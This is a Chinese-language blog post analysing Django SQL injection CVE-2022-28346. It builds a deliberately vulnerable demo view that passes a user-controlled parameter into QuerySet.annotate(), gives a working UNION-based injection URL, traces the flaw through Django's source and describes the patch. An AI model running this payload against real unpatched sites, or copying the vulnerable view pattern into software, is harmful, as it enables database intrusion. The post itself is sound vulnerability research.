S0cke3t
文章43
标签29
分类12
Django SQL injection CVE-2022-28346 analysis

Django SQL injection CVE-2022-28346 analysis

前言

最近在看CNVD时无意间看到两条关于Django的最新漏洞通告,随即打开看了一下.大概意思是说Django2.2.28 版本之前的2.2版本、3.2.13 版本之前的3.2版本、4.0.4版本之前的4.0版本使用QuerySet.annotate() aggregate() extra() 数据聚合函数时会导致SQL注入问题.由于笔者平时开发一些平台多半也是使用Django,所以便尝试进行分析了一下.如有描述不当之处,还望大佬们斧正.

影响版本

1
2
3
Django Django >=2.2,<2.2.28
Django Django >=3.2,<3.2.13
Django Django >=4.0,<4.0.4

环境构建

1
2
Python: 3.7.9
Django: 3.2.11

目录结构

image-20220427164737239

models.py

1
2
3
4
5
6
7
8
from django.db import models

# Create your models here.
class User(models.Model):
name = models.CharField(max_length=200)

def __str__(self):
from django.db import models

# Create your models here.
class User(models.Model):
name = models.CharField(max_length=200)

def __str__(self):
return self.name

views.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import datetime

from django.db.models import Count
from django.http import HttpResponse

# Create your views here.
from demo.models import User


def loadexampledata(request):
u = User(name="Admin")
u.save()
u = User(name="Staff1")
u.save()
u = User(name="Staff12")
u.save()
return HttpResponse("ok")


def users(request):
field = request.GET.get('field', 'name')
user_amount = User.objects.annotate(**{field: Count("name")})
html = ""
for u in user_amount:
html += "<h3>Amoount of users: {0}</h3>".format(u)
import datetime

from django.db.models import Count
from django.http import HttpResponse

# Create your views here.
from demo.models import User


def loadexampledata(request):
u = User(name="Admin")
u.save()
u = User(name="Staff1")
u.save()
u = User(name="Staff12")
u.save()
return HttpResponse("ok")


def users(request):
field = request.GET.get('field', 'name')
user_amount = User.objects.annotate(**{field: Count("name")})
html = ""
for u in user_amount:
html += "<h3>Amoount of users: {0}</h3>".format(u)
return HttpResponse(html)

urls.py

1
2
3
4
5
6
7
8
9
from django.contrib import admin
from django.urls import path

from demo import views

urlpatterns = [
path('', views.loadexampledata),
path(from django.contrib import admin
from django.urls import path

from demo import views

urlpatterns = [
path('', views.loadexampledata),
path('demo/', views.users)
]

settings.py

1
2
3
4
5
6
7
8
9
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'demo.apps.DemoConfig' INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'demo.apps.DemoConfig' # 新增
]

或者使用笔者构建好的环境

https://github.com/DeEpinGh0st/CVE-2022-28346

漏洞复现

初始化项目

1
2
3
1.python manage.py makemigrations
2.python manage.py migrate
3.访问http://x.x.x.x:8000/ 初始化数据

触发

1
2
访问
http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

image-20220427163842830

漏洞分析

老规矩,分析前可以先看看官方在修复的commit中有没有给出测试用例

https://github.com/django/django/commit/2044dac5c6968441be6f534c4139bcf48c5c7e48中看到官方在测试组件中给出了基本的测试用例

image-20220427162313098

我们可以根据官方给出的代码编写相应的代码进行调试和分析.

在views.py的annotate打入断点后,来到db.models.query.py:__init__,进行QuerySet的初始化

image-20220427154327109

在初始化QuerySet后,会来到db.models.query.py:annotate开始执行聚合流程,在annotate中首先会调用_annotate并传入kwargs

image-20220427154707043

_annotate在完成对kwargs.values()合法性校验等一系列操作后,将kwargs更新到annotations中,随后遍历annotations中的元素调用add_annotation进行数据聚合

image-20220427155319044

跟进add_annotation(print是笔者为了分析自己加入的)

image-20220427155434421

add_annotation继续调用resolve_expression解析表达式,在此处并没有对传入的聚合参数进行相应的检查.在经过一系列调用后,最终会来到db.models.sql.query.py:resolve_ref

resolve_ref会获取annotations中的元素,并将其转换后带入到查询的条件中,最后其结果通过transform_function聚合到一个Col对象中

可以看到聚合之后的结果

image-20220427160324531

返回到db.models.query.py:_annotate可以看到具体聚合后数据值,以及执行的sql语句

image-20220427160711620

最后将结果返回到QuerySet中进行展示

image-20220427161853696

修复

在漏洞公开后,django官方随即对项目进行了修复

image-20220427162845585

add_annotation中加入了check_alias对聚合参数进行检查

参考

https://github.com/django/django/commit/2044dac5c6968441be6f534c4139bcf48c5c7e48

https://www.cnvd.org.cn/flaw/show/CNVD-2022-31838

本文作者:S0cke3t
本文链接:https://www.saferoad.cc/Analysis/Django-SQL-injection-CVE-2022-28346-analysis.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可
×